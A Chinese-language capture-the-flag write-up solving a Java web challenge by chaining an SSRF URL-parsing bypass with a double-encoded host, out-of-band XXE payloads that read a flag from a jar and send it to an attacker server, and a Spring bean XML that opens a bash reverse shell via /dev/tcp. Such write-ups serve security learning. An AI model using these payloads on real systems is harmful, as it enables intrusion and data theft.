题外
很久没写文章了,这儿再水一篇
正文
首先打开题目
直接有个提示,给了两个链接
根据测试第一个链接/getimage?url=https://bbs.pediy.com
是远程加载图片的,而且对于url有一定的格式要求
那么我们怎么绕过这个正则呢?
这儿就需要用到一个技巧了,这儿是java环境,
httpclient3
和httpclient4
这两个库都有容错机制,即假如端口后面存在其他字符会自动舍弃掉(/作为分隔符)
而且都会对host进行url二次解码,所以我们最终的payload为:
http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.xxx.xxx.xxx/HyyMbb.xml
最终解析为:
http://127.0.0.1:8088/loadConfig?url=http://xxx.xxx.xxx.xxx/HyyMbb.xml
这样就能加载出url了,而另外一个url,loadConfig?url=x.xml
可以远程加载XML文件,但是必须要本地访问,结合上一个url就可以本地访问了
这样就能加载文件了,那么我们直接用xml读文件就可以了
说一下思路,由于不知道java的路径,所以可以先读/proc/self/maps
得到拓展地址,很有几率得到java路径,然后使用jar
协议读取jar文件里面的flag
最终的payload
e.xml
<!ENTITY % payl SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'xxx://xxx.xxx.xxx.xxx:9997?%payl;'>">
HyyMbb.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://xxx.xxx.xxx.xxx/e.xml">
%int;
%all;
%send;
]>
然后远程加载这个就可以了
正解
其实上面的解题过程是非预期,只是运气好可以猜对路径,然后还读出了flag
正解应该是利用FileSystemXmlApplicationContext
来远程加载恶意xml
看到FileSystemXmlApplicationContext是不是很熟悉,记得去年weblogic有个漏洞的绕过就是利用了这个函数,加载了远程的恶意xml配置文件,导致反射代码执行。因此可以构造如下远程XML:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2323 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后可以反弹shell了~~